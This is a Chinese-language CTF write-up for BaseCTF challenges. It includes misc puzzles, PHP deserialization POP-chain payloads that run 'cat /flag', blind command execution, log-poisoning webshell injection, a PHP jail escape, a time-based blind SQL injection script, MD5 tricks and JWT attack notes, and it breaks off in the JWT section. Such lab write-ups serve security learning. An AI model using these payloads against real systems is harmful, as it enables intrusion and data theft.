BaseCTF

misc

ez_crypto

qMfZzunurNTuAdfZxZfZxZrUx2v6x2i0C2u2ngrLyZbKzx0=

base64换表

img

黑丝上的flag

stegsolve查看通道

img

这是一个压缩包

压缩包爆破解密,注释里的一段base解密:

QmFzZUNURj8/Pz8/P0ZUQ2VzYUI=

BaseCTF??????FTCesaB

ARCHPR爆破无解,经观察可知这个密码呈对称性

脚本直接爆破解密

lowercase = 'abcdefghijklmnopqrstuvwxyz'
uppercase = lowercase.upper()
digits = '0123456789'
symbols = '!@#$%^&*()-_=+'
ls = lowercase+uppercase+digits+symbols
with open('passwd.txt','w') as f:
for t1 in ls:
for t2 in ls:
for t3 in ls:
password = 'BaseCTF'+t1+t2+t3+t3+t2+t1+'FTCesaB'
f.write(password+'\n')

img

BaseCTF_h11h_FTCesaB

BaseCTF{a7da6763-5013-4963-9c23-8fb3d049bdce}

Base revenge

base64隐写->JnUaAFMFImgANSEuAWYuBE9SyaYpC2ldBrU9

img

根据提示:Atbash

img

web

ez_ser

<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}

class web {
public $kw;
public $dt;

public function __wakeup() {
echo "lalalla".$this->kw;
}

public function __destruct() {
echo "ALL Done!";
}
}

class pwn {
public $dusk;
public $over;

public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}

class Misc {
public $nothing;
public $flag;

public function getflag() {
eval("system('cat /flag');");
}
}

class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}

public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>

构造payload

<?php

class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!"; #3.触发_tostring()魔术方法
}
$this->chu0->$nononono;
}
}

class web {
public $kw;
public $dt;

public function __wakeup() {
echo "lalalla".$this->kw; #4.触发_wakeup魔术方法
}

public function __destruct() {
echo "ALL Done!";
}
}

class pwn {
public $dusk;
public $over;

public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag(); #2.触发_get魔术方法,来调用getflag(),当访该类中私有或者不存在的成员属性值时调用
}
}

class Misc {
public $nothing;
public $flag;

public function getflag() {
eval("system('cat /flag');"); # 1.找到输出flag的位置,执行cat /flag,这里我们要调用getflag()
}
}
$a = new misc();
$b = new pwn();
$b -> over = $a;
$c = new re();
$c -> chu0 = $b;
$d =new web();
$d -> kw = $c;
echo serialize($d);

?>

#O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";N;s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}

nature=O:6:”Nature”:1:{s:3:”sea”;O:3:”Sea”:1:{s:6:”animal”;O:5:”Shark”:1:{s:6:”%00word%00”;O:4:”Sink”:1:{s:9:”%00Sink%00cmd”;s:9:”echo 123;”;}}}}

Really EZ POP

php反序列化

<?php
highlight_file(__FILE__);

class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}

class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}

class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}

class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}

if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}

我们先找到eval函数输出,可以使cmd等于system(“cat /flag”)进行命令执行,即我们要触发tostring()函数

这里我们可以看见类Shark里面的有个私有属性word里包含一个字符串,可以尝试在这里进行触发tostring()

但是私有属性不能够直接调用,直接进行内部赋值(之前是这里不会),之后直接触发invoke(),当对象调用函数时触发,这里我们看见类Sea里的animal,将Sea里的animal调用给Shark即可触发invoke(),之后就是_get()魔术方法的触发,从不可访问的属性里读取数据,这里我们直接调用类Nature里的sea给$sea即可,触发destruct().

payload

<?php
// highlight_file(__FILE__);

class Sink
{
private $cmd = 'system("cat /flag");';
public function __toString()
{
eval($this->cmd);
}
}

class Shark
{
private $word = 'Hello, World!';

public function setWord($word)
{
$this->word = $word;
}

public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}

class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}

class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}

$nature = new Nature();
$sea = new Sea();
$sink = new Sink();
$shark = new Shark();
$sea->animal = $shark;
$nature->sea = $sea;
$shark->setWord($sink);
echo urlencode(serialize($nature));

// O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A20%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7D%7D%7D%7D

?>

数学大师

题目提示:每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

img

考察使用python的request来编写脚本进行计算

import re
import requests

# 假设这是你接收到的算式和答案的URL
url = 'http://challenge.basectf.fun:21216/'
s = requests.Session()
payload = {'answer': 1}
response = s.post(url)
print(response.text)
# 模拟50次POST请求
for i in range(50):
response_text = response.text
print(response.text)
start_index = response_text.find('second ') + 7 # 7是"second "的⻓度
end_index = response_text.find('?')
expression = response_text[start_index:end_index]
partten = r'÷'
expression = re.sub(partten, '//', expression)
partten = r'×'
expression = re.sub(partten, '*', expression)
# 计算结果
print(expression)
answer = eval(expression)
print(answer)
# 发送POST请求
payload = {'answer': answer}
response = s.post(url, data=payload, cookies=response.cookies)

print(response.text)

img

BaseCTF{2112aa5d-5928-4a13-bca4-d9b621cb027b}

所以你说你懂 MD5?

考察知识点:md5

<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag'); 加强难度就不会了?

⼀共有 4 层,依次来绕过。

第⼀层可以直接数组绕过。

第⼆层和第三层都可以直接构造 md5 碰撞绕过。

第四层涉及到 md5 ⻓度扩展攻击,即已知⼀个字符串的 md5 值和⻓度,并且要往他后⾯拼接⼀个可控

的字符串,我们可以通过控制后⾯的字符串从⽽计算得到拼接后字符串的 md5 值。

在这道题中,random 的⻓度已知(本地跑⼀下是96),random 的 md5 值已知,并且拼接的字符串可

控(需要以 admin 结尾),这⾥通过下⾯这个脚本构造

你听不到我的声音

考察知识点:无回显RCE

<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

方法一:使用tee进行写入

cmd=cat /flag | tee 1.txt

img

方法二:使用>进行文件写入

cmd=cat /flag > 2.txt

img

滤个不停

<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}

if ($is_valid) {

$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}


include($Datch);
} else {
die('文件名不合规 请重试');
}
?>

POST传参incompetent等于HelloWorld即可

第⼀层很简单,就是⼀个简单的判断字符串相等,传⼊指定字符串即可。

第⼆层是⽂件包含漏洞,过滤了很多协议,这⾥可以使⽤⽇志包含。

在 UA 头中写⼊⼀句话⽊⻢,然后包含 /var/log/nginx/access.log 。

img

ez_php_jail

php沙盒逃逸

<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}

if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";

// 在HTML解析后再输出PHP源代码

?>
Welcome to My Jail
Do You Like My Jail?

php沙盒逃逸

php版本小于8时,GET请求的参数含有***.*** 则会转为***_***

但是如果直接有**[** ,这个[ 会被直接转化为_ ,但是如果后面有. ,这个.就不会转化为_

这里使用highlight_file函数可以绕过

Payload

?Jail[by.Happy=highlight_file(glob("/f*")[0]);

flag直接读取不就行了?

<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

PHP 文件系统迭代器 DirectoryIterator 类提供了一种简单的接口,用于查看文件系统目录的内容。它允许逐个访问目录中的文件和子目录

SplFileObject 类简介SplFileObject 类提供了一种面向对象的方式来处理文件,支持流式处理,非常适合操作大文件

?K=DirectoryIterator&W=/secret/使用其进行遍历,可以发现f11444g.php文件

伪协议读取文件内容

J=SplFileObject&H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php

only one sql

sql时间盲注

源码

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query); 没有select,让你执行一句又如何 没有select,让你执行一句又如何

部分关键词被禁用,只能执行一句sql语句

show tables; 可以发现有2张表Tables_in_ctf flag

image-20240919181352656

show columns from flag #查询表中所有字段

Field Type Null Key Default Extra

id varchar(300) YES NULL

data varchar(300) YES NULL

使用时间盲注脚本来查询flag即可

import requests
import string

sqlstr = string.ascii_lowercase + string.digits + '-' + "{}"
url = "http://challenge.basectf.fun:23963/?sql=show%20columns%20from%20flag"
end="%25%27%20and%20sleep(5)"
flag=''
for i in range(1, 100):
for c in sqlstr:
payload = url +flag+ c + end
try:
r = requests.get(payload,timeout=4)
except:
print(flag+c)
flag+=c
break

圣钥之战1.0

/read读取源码

J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)

NO JWT

JWT认证攻击详细解答:

1.JWT的简介

JWT全称为json web token 将json对象作为载体进行传输信息,通常用于身份认证和信息交换。JWT可以使用密钥(HMAC算法)或者使用RSA或ECDSA的公钥/私钥对自身进行签名

2:JWT的格式

每当用户访问站点中的资源时,对应的请求头认证默认为Authorization:jwt JWT令牌认证以eyj开头

JWT的数据头部如下:

JWT的数据分为三部分:头部(header),有效载荷(Payload),签名(Signature)

三个部分以英文逗号隔开,JWT的内容以base64进行编码

下面举个例子:

(1):头部信息包含了JWT的配置方面,例如签名算法(alg),令牌类型(JWT)和加密算法(alg)或者算法使用的密钥文件

Head:eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ

{“kid”:”keys/3c3c2ea1c3f113f649dc9389dd71b851”,”typ”:”JWT”,”alg”:”RS256”}

(2):有效载荷

有效载荷用于存储用户的数据,例如用户名(test123)

payload:eyJzdWIiOiJkdWJoZTEyMyJ9

{“sub”:”dubhe123”}

(3):签名

Signature 需要使用编码后的header和payload以及我们提供的一个密钥,然后使用header中指定的签名算法通常是RS256(RSA非对称加密和私钥签名)和HS256(HMAC SHA256对称加密)算法进行签名,签名的作用是保证jwt没有被篡改过

下面是一个用HS256生成Jw=WT的代码例子

HMACSHA256(base64Encode(header) + “.” + base64urlEncode(payload),secret)

Signature:

XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

JWT常见安全问题

1:签名算法可被修改为none(CVE-2015-9235)

JWT支持算法设定为“None”,如果“alg”字段设为“None”,那么签名会被置空,这样的任何token都是有效的